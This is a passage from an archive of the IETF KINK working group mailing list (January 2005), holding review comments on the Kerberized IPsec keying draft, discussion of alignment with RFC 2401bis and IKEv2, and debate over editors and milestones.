ESMTP id j052Kvfw033925 for ; Tue, 4 Jan 2005 18:20:57 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id 1FB401FB7D; Wed, 5 Jan 2005 11:20:36 +0900 (JST) Date: Wed, 05 Jan 2005 11:20:33 +0900 (JST) Message-Id: <20050105.112033.31815015.nov@tahi.org> To: hartmans-ietf@mit.edu Cc: ietf-kink@vpnc.org Subject: Re: Moving forward on KINK--deadline for action From: Nobuo OKABE In-Reply-To: <20050102215120.76204E0063@cz.mit.edu> References: <20050102215120.76204E0063@cz.mit.edu> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Sam Hartman Subject: Moving forward on KINK--deadline for action Date: Sun, 2 Jan 2005 16:51:20 -0500 (EST) > In order to set a concrete deadline, I am requesting the milestones > and reviewers from the chairs by February 7, 2005. I'm picking the > deadline because it is the first scheduling deadline for IETf 62. If > someone has a preference for another deadline speak up now. Otherwise > I'll treat February 7 as a hard deadline: if the milestones and > reviewers are submitted by then, we'll continue, but otherwise, the > working group will conclude. If fixing new milestones we will have to estimate the effort which should be needed for fixing the ID. So our group is going to show comments as Ken did. But please wait for a while because it is new-year-holidays in Japan now :-) ----- nobuo From owner-ietf-kink Tue Jan 4 18:31:28 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j052VSQ6045260; Tue, 4 Jan 2005 18:31:28 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j052VSvs045259; Tue, 4 Jan 2005 18:31:28 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j052VRV0045250 for ; Tue, 4 Jan 2005 18:31:27 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id 27EE81FBC2; Wed, 5 Jan 2005 11:31:33 +0900 (JST) Date: Wed, 05 Jan 2005 11:31:33 +0900 (JST) Message-Id: <20050105.113133.120215999.nov@tahi.org> To: inoue@isl.rdc.toshiba.co.jp Cc: hartmans-ietf@mit.edu, ietf-kink@vpnc.org Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 From: Nobuo OKABE In-Reply-To: <20041231161309.414A215218@shuttle.wide.toshiba.co.jp> References: <20041230.141334.08619128.nov@tahi.org> <20041231161309.414A215218@shuttle.wide.toshiba.co.jp> X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Atsushi Inoue Subject: Re: Sufficient Energy to finish KINK--comments by 2005-01-06 Date: Sat, 01 Jan 2005 01:13:10 +0900 > Because these two groups has experience on implementing and using > KINK, we can call for reviewer of KINK draft in these groups. > Also, we have aready itemize several issues in implementing KINK, we > (maybe Kamada-san and some other guys) will write individual I-D on > this implementation issue soon. I think this I-D will be a good start > point for discussing how to do on KINK work. How about that ? As considering the deadline Sam has presented, we should throw our brief version to the ML before submitting the ID. It can help the chairs for making new milestones. ----- nobuo From owner-ietf-kink Tue Jan 11 23:13:36 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0C7DaMN069232; Tue, 11 Jan 2005 23:13:36 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0C7DaCB069229; Tue, 11 Jan 2005 23:13:36 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0C7DZa5068931 for ; Tue, 11 Jan 2005 23:13:35 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 288C911 for ; Wed, 12 Jan 2005 16:13:33 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 3nqr4h; Wed, 12 Jan 2005 16:13:33 +0900 (JST) Date: Wed, 12 Jan 2005 16:14:13 +0900 Message-ID: <20050112161413IL%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: KINK comments User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Here is my comments for KINK. I'd also like to act a reviewer. Please note that I'm not a Kerberos expert and there may be some misunderstandings. 1) Sec 8 says "prf is the same hash algorithm found in the session ticket's etype", but krb-wg-crypto-07 defines hash as unkeyed. Fortunately krb-wg-crypto-07 defines a PRF for each etype, so KINK should use this PRF. 2) The format of the encrypted part of KINK_ENCRYPT (Sec 5.1.8) is vague. I think of using the output of raw encryption algorithms or using EncryptedData. case A) I have interpreted the format as the output of encryption algorithms. In the word of krb-wg-crypto, E(confounder | plaintext | pad). krb-wg-crypto seems to have at least two different types of encryption functions. One is des-cbc-* which places unkeyed checksum in the input of encryption, and another is one using simplified profile which places HMAC after the output of encryption. In either case, when we exclude a checksum from their formats, the result is E(confounder | plaintext | pad). I think case A is the original author's idea. case B) Some people seem to have interpreted it as EncryptedData. If this is the way to go, I agree that it should not be decomposed. 3) Sec 7.1 says the checksum in the KRB-ERROR message is not used, but Sec 5.1.4 says that KINK implementation MUST make use of keyed Kerberos errors. But KRB-ERROR does not have checksum in it (at least with RFC 1510 or kerberos-clarifications). I think a correct phrase here is "KINK implementations MUST make use of a KINK Cksum field when returning KINK_KRB_ERROR and the appropriate service key is available." 4) This may be a naive question but is there any situation that one host acts as two different principal in one realm? If there is, should KINK_TGT_REQ contain principal name (not only realm name)? 5) With regard to server principal authentication problem in user-to-user mode which Mr. Hartman noted, doesn't the KDC check the sname in the TGS_REQ with one in the additional-ticket when the ENC-TKT-IN-SKEY option is specified? If it does, I think there is no problem because the client must know in advance the principal name which she would like to talk with. Otherwise, returned principal name or TGT in the KINK_TGT_REP must be indeed authenticated but I have no idea for how. 6) Mr. Raeburn said that Kerberos checksum does not necessarily requires fixed checksum size. If that is the case and KINK should support such checksums, the KINK packet format should be changed and the comments below may be useless. Kerberos checksum is not deterministic as already pointed out. The spec should describe how to verify checksum as follows. To verify the checksum, the checksum is saved, and the checksum field is zeroed out. The resulting message and the saved checksum are passed to the verification function. If the verification fails, the message MUST be dropped. 7) If KINK also supports IKEv2 features, at least the following items should be considered. - IKEv2 does not have DOI, so how to handle the DOI field in the KINK packet header should be described. - Use TS (Traffic Selector) instead of ID (Identification). - KEYMAT calculation is changed. - How to handle REKEY_SA Notify type. 8) In implementor's point of view, I'd like to see initiator's behavior in receiving KINK_ERROR to be defined. For example: - When KINK_OK is received, initiator MAY act as if the KINK_ERROR payload was not included in the messaged. - When KINK_BADQMVERS is received and the Cksum is verified, initiator MAY retry in other Quick Mode version. - When one of other error codes is received and the Cksum is verified, initiator SHOULD abort the negotiation. Honestly, behavior against KINK_KRB_ERROR is welcome, but it is the scope of Kerberos document (not KINK) so I don't insist on including it in KINK. Regards, -- KAMADA Ken'ichi From owner-ietf-kink Tue Jan 18 14:31:26 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0IMVQaB042828; Tue, 18 Jan 2005 14:31:26 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0IMVQaZ042827; Tue, 18 Jan 2005 14:31:26 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from cz.mit.edu (CARTER-ZIMMERMAN.MIT.EDU [18.18.3.197]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0IMVPOA042795 for ; Tue, 18 Jan 2005 14:31:25 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by cz.mit.edu (Postfix, from userid 8042) id 46BEEE0063; Tue, 18 Jan 2005 17:31:08 -0500 (EST) To: ietf-kink@vpnc.org Subject: AD review: draft-ietf-kink-kink [section 1-4] From: Sam Hartman Date: Tue, 18 Jan 2005 17:31:08 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I can tell already that I'm not going to finish up my comments by Thursday. My day job has decided to reorganize and this week's IESG telechat has some documents that are taking me a wihle to go through. I will get the rest of my comments to the group by early next week The bad news is that most of the interesting comments I have are in the second half of the document so this message is not all that useful. I'd recommend reading draft-ietf-ipsec-rfc2401bis, draft-ietf-krb-wg-crypto and skimming draft-ietf-krb-wg-kerberos-clarifications. Rfc2401bis is setting before the IESG; there are some discusses although I expect the document to be approved by IETF 62. The Kerberos documents have been approved and are in the RFC editor queue. The crypto document is actually in auth48 waiting for Ken to confirm some final edits. [**] Indicates an issue that I consider substantive and that will require wg consensus. First. the document needs to meet all the ID nits when it is submitted. Section 1: Remove the reference to pkcross or cite something outside the IETF. It's an expired ID without and active editor. Add an informative reference to IKE. Section 2: Kerberos is now using the term user-user rather than user-to-user. Principals are not either client or service principals; they can and often do fill both roles. Cite a reference for DER. Section 3: English usage/grammar problems with the first two paragraphs. which allows a final acknowledgment message when the respondent needs a full three-way handshake. This is only needed when the optimistic keying route is not taken, though it is expected that that will not be the norm. KINK also provides rekeying and dead peer detection as What is expected not to be the norm? Please reword. Section 4.2: [**] How will the initiator determine whether it will be able to get a TGT? I think policy considerations of when to use u2u and authorization considerations of what u2u principals are authorized are underspecified in the draft. [**] Make sure the descriptions of u2u work correctly in the cross-realm case. Section 4.3: [**] I need explicit review from the IPsec reviewer of this section to make sure it is compatible with 2401bis. IN addition, any differences between how this works and how IKE would set up the same SA need to be called out. It is fine for there to be differences, but I want to make sure the working group explicitly decided the differences are a good thing. I'm somewhat concerned that 4.3 is not specific enough to describe exactly what key gets set up. I.E. I'm concerned it may not be detailed enough for interoperable implementations. Section 4.4 IPsec does not allow half-open security associations any more as far as I can tell in 2401bis. So it's not just for simplicity, but for model conformance. Section 4.4.1: Please make sure this discussion is aligned with 2401bis. I think it may change small details but they seem to have adopted much of the same strategy kink uses. The area wher I believe they speak to this issue is when you should rekey (timers etc) Section 4.4.2 [**] Discuss status message, rebooting peers and u2u. This looks a lot like the IKE case where you lose all cryptographic context to me. From owner-ietf-kink Wed Jan 19 17:06:22 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K16M1F031095; Wed, 19 Jan 2005 17:06:22 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K16M2E031093; Wed, 19 Jan 2005 17:06:22 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K16Ktf030072 for ; Wed, 19 Jan 2005 17:06:21 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:240:2:0:c926:991b:c386:a4d7] ([2001:240:2:0:c926:991b:c386:a4d7]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,128bits,RC4-MD5) by miyazawa.org with esmtp; Thu, 20 Jan 2005 09:59:34 +0900 id 000008FF.41EF0276.00006F5F Message-ID: <41EF03C7.90609@miyazawa.org> Date: Thu, 20 Jan 2005 10:05:11 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: Michael Thomas CC: Sam Hartman , ietf-kink@vpnc.org Subject: Re: KINK and RFC2401bis References: <1104873588.26508.3.camel@thomasm-lnx.cisco.com> In-Reply-To: <1104873588.26508.3.camel@thomasm-lnx.cisco.com> Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hello, I'm Kazunori Miyazawa. I'm implementing KINK into a small embedded device. I agree with Mr. Tomas. KINK does not specifiy its payload about IPsec SA and relegates it to ISAKMP so that the conformity to rfc2401bis depends on how ISAKMP conforms rfc2401bis. I think changing the reference from IKEv1 to IKEv2 needs to many revises on the draft because IKEv2 does not have the phases. If the draft referencig IKEv2, I guess KINK uses CREATE_CHILD_SA exchange instead of ISAKMP quick mode. If we only reuse each IKEv2 payload format, we need more definition in section 7. Michael Thomas wrote: > I'm fairly certain that the main difference required of > KINK is to change the normative reference from IKEv1 to > IKEv2 for ISAKMP payloads. KINK doesn't do anything with > the payloads themselves, though there may be some error > code differences if my foggy memory on this subject > serves me. When I coded this up with the Pluto sources > for IKEv1, I didn't have to change any of the internal > SA establishment/destruction code at all. > > > Mike > > On Tue, 2005-01-04 at 12:11, Sam Hartman wrote: > >>I finished reading over RFC 2401bis this morning. By the time Kink >>makes its way to the IESG, it will need to normatively reference that >>document instead of RFC 2401. >> >>The primary change is that several of the comments about the SPD >>actually apply to the PAD in the 2041bis model. >> >> >> >>There's another issue the working group needs to consider. RFC >>2401bis increases the flexibility and requirements for IPsec. New >>requirements include the ability to have multiple SAs with the same >>selectors and to have port ranges in selectors. IKEv1 which Kink is >>based on does not support these features. >> >>I'm concerned that people will expect to be able to set up SPD entries >>taking advantage of such features and have them work. I'm asking the >>working group to seriously consider whether support for new IPsec >>requirements should be added to Kink. The result of this >>consideration needs to be either modifications to the protocol to add >>the necessary support or text explaining what features are not >>supported and why the working group has chosen not to support them. >> >>--Sam -- Kazunori Miyazawa From owner-ietf-kink Wed Jan 19 17:22:42 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K1MfRx055460; Wed, 19 Jan 2005 17:22:42 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K1MfdM055458; Wed, 19 Jan 2005 17:22:41 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from march.taca.jp (vbox.nezu.wide.ad.jp [203.178.142.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K1MfG3054647 for ; Wed, 19 Jan 2005 17:22:41 -0800 (PST) (envelope-from nov@tahi.org) Received: from localhost (vbox.nezu.wide.ad.jp [203.178.142.195]) by march.taca.jp (Postfix) with ESMTP id B3FF61FBC4; Thu, 20 Jan 2005 10:22:16 +0900 (JST) Date: Thu, 20 Jan 2005 10:22:07 +0900 (JST) Message-Id: <20050120.102207.68299999.nov@tahi.org> To: hartmans-ietf@mit.edu Cc: ietf-kink@vpnc.org Subject: Re: AD review: draft-ietf-kink-kink [section 1-4] From: Nobuo OKABE In-Reply-To: References: X-Mailer: Mew version 4.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: From: Sam Hartman Subject: AD review: draft-ietf-kink-kink [section 1-4] Date: Tue, 18 Jan 2005 17:31:08 -0500 > I'd recommend reading draft-ietf-ipsec-rfc2401bis, > draft-ietf-krb-wg-crypto and skimming > draft-ietf-krb-wg-kerberos-clarifications. > > Rfc2401bis is setting before the IESG; there are some discusses > although I expect the document to be approved by IETF 62. > > The Kerberos documents have been approved and are in the RFC editor > queue. The crypto document is actually in auth48 waiting for Ken to > confirm some final edits. I agree if 2401bis is fixed soon. However, we can have another way if it is not fixed by IETF62. From implementor's viewpoint, it seems good to improve/fix the draft based upon 2401, then to write another draft based upon 2401bis because we need to fix the draft ASAP. It seems fair to me to postpone the date of fixing the milestones from February 7 to after IETF62. Because the progress of 1401bis has impact against the KINK draft. So I would like to ask chairs to have a meeting in IETF62. The deadlines (and/or basic direction like the above) seems to need face2face meeting, though detail technical discussion can be done on the ML. Official meeting might be unnecessary. # There might be a low attendance, I guess... thanks, ----- nobuo From owner-ietf-kink Wed Jan 19 17:24:36 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K1Oahv057364; Wed, 19 Jan 2005 17:24:36 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K1OaoB057363; Wed, 19 Jan 2005 17:24:36 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K1OZV0057210 for ; Wed, 19 Jan 2005 17:24:35 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j0K1OUhB025373 for ; Thu, 20 Jan 2005 10:24:30 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: who will edit the draft ? X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050120102450Q.sakane@kame.net> Date: Thu, 20 Jan 2005 10:24:50 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 44 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: WG chairs, I am also interested in the KINK protocol, and have a experience to discuss the specification, to implement it in our team. And I am developping a IKE daemon in the KAME project. So I can be reviewer from the KINK and IPsec point of view. There are some comments about the draft in the mailing list. Who will collect these comments and will edit the draft ? If no one did or will do that, our team is ready to gather them and will edit the draft. There are some people interested in the protocol. I think that we should have a meeting in order to manage the KINK WG. I am not sure that "manage" is suitable word. To complete the KINK specification may be suitable. We have two items at least. One is to make a consensus the modification of current draft. Second is to discuss how to manage the WG. I dont mind that the scale of the meeting is a WG meeting, a BoF, a closed meeting or a lunch meeting. I want to know who will join the meeting. Of course I will. And we have to make a milestone ASAP. Here is from "Goals and Milestones" in the WG page, Done Reach Consensus on requirements document Done Meet at San Diego IETF to review drafts Jan 01 Reach Consensus on base draft protocol Feb 01 Conduct WG last call on base draft prototol Mar 01 Begin Interoperability bakeoffs Aug 01 Document interoperability results. Make decision to recycle or move forward The items would be: Feb 14 Submit draft kink-07 with editorial modifications. Mar 01 Review the issue of current draft, kink-06. Apr 01 Reach Consensus on draft. May 01 Resubmit revised draft as Proposed Standard. Aug 01 Begin Interoperability bakeoffs. Sep 01 Document interoperability results. If the chair has had the set already, I am sorry for my meddling, but at least I have not seen yet. Thease are just my opinion, any comment welcome. That would be help for the chairs. From owner-ietf-kink Wed Jan 19 17:36:13 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K1aDfx073006; Wed, 19 Jan 2005 17:36:13 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K1aDeB073003; Wed, 19 Jan 2005 17:36:13 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K1aD94072556 for ; Wed, 19 Jan 2005 17:36:13 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 6B9D511 for ; Thu, 20 Jan 2005 10:35:49 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 3d3tx3; Thu, 20 Jan 2005 10:35:49 +0900 (JST) Date: Thu, 20 Jan 2005 10:36:39 +0900 Message-ID: <20050120103639RZ%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: who will edit the draft ? In-Reply-To: <20050120102450Q.sakane@kame.net> References: <20050120102450Q.sakane@kame.net> User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=ISO-2022-JP Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Thu, 20 Jan 2005 10:24:50 +0900, Shoichi Sakane wrote: > > There are some comments about the draft in the mailing list. > Who will collect these comments and will edit the draft ? I'm now merging them. Just a moment please. -- $B3yED7r0l(B From owner-ietf-kink Wed Jan 19 17:45:12 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K1jBZe086013; Wed, 19 Jan 2005 17:45:11 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K1jBwp086012; Wed, 19 Jan 2005 17:45:11 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from dogbert.ihtfp.org (me@DOGBERT.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K1j6kY085721 for ; Wed, 19 Jan 2005 17:45:07 -0800 (PST) (envelope-from warlord@MIT.EDU) Received: (from warlord@localhost) by dogbert.ihtfp.org (8.12.9) id j0K1j2TK006492; Wed, 19 Jan 2005 20:45:02 -0500 To: Shoichi Sakane Cc: ietf-kink@vpnc.org Subject: Re: who will edit the draft ? References: <20050120102450Q.sakane@kame.net> From: Derek Atkins Date: Wed, 19 Jan 2005 20:45:02 -0500 In-Reply-To: <20050120102450Q.sakane@kame.net> (Shoichi Sakane's message of "Thu, 20 Jan 2005 10:24:50 +0900") Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.1 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, Shoichi Sakane writes: > WG chairs, > > I am also interested in the KINK protocol, and have a experience > to discuss the specification, to implement it in our team. And I > am developping a IKE daemon in the KAME project. So I can be reviewer > from the KINK and IPsec point of view. Good to know. Thank you for volunteering. At this time Mike Thomas has agreed to continue to edit the draft, so unless he becomes unresponsive I see no reason immediately to appoint a new draft editor. [snip] > And we have to make a milestone ASAP. Here is from "Goals and Milestones" > in the WG page, > > Done Reach Consensus on requirements document > Done Meet at San Diego IETF to review drafts > Jan 01 Reach Consensus on base draft protocol > Feb 01 Conduct WG last call on base draft prototol > Mar 01 Begin Interoperability bakeoffs > Aug 01 Document interoperability results. > Make decision to recycle or move forward > > The items would be: > > Feb 14 Submit draft kink-07 with editorial modifications. > Mar 01 Review the issue of current draft, kink-06. > Apr 01 Reach Consensus on draft. > May 01 Resubmit revised draft as Proposed Standard. > Aug 01 Begin Interoperability bakeoffs. > Sep 01 Document interoperability results. > > If the chair has had the set already, I am sorry for my meddling, > but at least I have not seen yet. Thease are just my opinion, > any comment welcome. That would be help for the chairs. The dates are Month / Year, not Month / Day. So I think you probably mean Feb 05, Mar 05, ... Based on the existing set of issues I do not believe that your suggestions are reasonable -- they are way too aggresive. I really do not believe that we'll reach consensus by April. I think we have way too many issues. Perhaps a better proposal for milestones are: Mar 05 Review issues with kink-06 Mar 05 Submit kink-07 Jun 05 Reach consensus on necessary changes Jul 05 Submit kink-08 Aug 05 WGLC Sep 05 Submit draft to IESG Jan 06 Begin Interop bakeoffs Feb 06 Document interop results. Even this schedule is extremely agrressive, but IMHO actually achievable. I don't think we can get concensus on all the open issues and make it past the IESG before Paris. -derek -- Derek Atkins 617-623-3745 derek@ihtfp.com www.ihtfp.com Computer and Internet Security Consultant From owner-ietf-kink Wed Jan 19 17:51:58 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K1pwcD095155; Wed, 19 Jan 2005 17:51:58 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j0K1pwTV095153; Wed, 19 Jan 2005 17:51:58 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from sj-iport-4.cisco.com (sj-iport-4.cisco.com [171.68.10.86]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j0K1pvBn094993 for ; Wed, 19 Jan 2005 17:51:57 -0800 (PST) (envelope-from mat@cisco.com) Received: from sj-core-4.cisco.com (171.68.223.138) by sj-iport-4.cisco.com with ESMTP; 19 Jan 2005 17:53:06 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from imail.cisco.com (imail.cisco.com [128.107.200.91]) by sj-core-4.cisco.com (8.12.10/8.12.6) with ESMTP id j0K1pl1M021733; Wed, 19 Jan 2005 17:51:47 -0800 (PST) Received: from thomasm-lnx.cisco.com (thomasm-lnx.cisco.com [171.71.96.50]) by imail.cisco.com (8.12.11/8.12.10) with ESMTP id j0K1mJY5028176; Wed, 19 Jan 2005 17:48:19 -0800 Subject: Re: who will edit the draft ? From: Michael Thomas To: Shoichi Sakane Cc: ietf-kink@vpnc.org In-Reply-To: <20050120102450Q.sakane@kame.net> References: <20050120102450Q.sakane@kame.net> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-dOpC4YXrVShRLI2Y5hnB" Organization: Cisco Systems Message-Id: <1106185907.2953.37.camel@thomasm-lnx.cisco.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Wed, 19 Jan 2005 17:51:47 -0800 IIM-SIG: v:"1.1"; h:"imail.cisco.com"; d:"cisco.com"; z:"home"; m:"krs"; t:"1106185699.249935"; x:"432200"; a:"rsa-sha1"; b:"nofws:2406"; e:"Iw=="; n:"sQYarK2E51MdcTiUqeif3F7cWdxIfoCiXhdfb9vD5ee/j0jXL15gbFxF2p" "XIweAblu0N6XAgK7k+wrbr7bQDJaCDqOmzqpRUBjIRQAXQ7NzadpmR3pUL6wxaRUtW+c43sl9jC" "50Qg1sXHpPjt8Y+Y16ioyQAQAdSunM4YhevURc="; s:"lYTYgOfFtmtYJBM+b9khUKjDQrVfSedAklDoszW2XbXc0OM4QTgOg8rb0RVEHK3gkzQ9utKX" "gq9bEkiC71XiKlOEZWl0AWhshk2a+TwiSM/AtY5i75ggerlvkmgcOVZ3uTJ/GDwL6j+PyfPpyvd" "UgHIMu8WiQEuPWnf9Fu/SvQc="; c:"Subject: Re: who will edit the draft ?"; c:"From: Michael Thomas "; c:"Date: Wed, 19 Jan 2005 17:51:47 -0800" IIM-VERIFY: s:"y"; v:"y"; r:"60"; h:"imail.cisco.com"; c:"message from imail.cisco.com verified; " Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: --=-dOpC4YXrVShRLI2Y5hnB Content-Type: text/plain Content-Transfer-Encoding: quoted-printable I'm still willing to edit the draft if we're not talking about wholesale changes, and we're talking about a relatively modest amount of time (eg, a=20 few months).=20 Has a decision been made on wg meeting in MPLS? I'm hoping that the issues don't require a f2f=20 meeting, but it would be good to know one way or the other. Mike On Wed, 2005-01-19 at 17:24, Shoichi Sakane wrote: > WG chairs, >=20 > I am also interested in the KINK protocol, and have a experience > to discuss the specification, to implement it in our team. And I > am developping a IKE daemon in the KAME project. So I can be reviewer > from the KINK and IPsec point of view. >=20 > There are some comments about the draft in the mailing list. > Who will collect 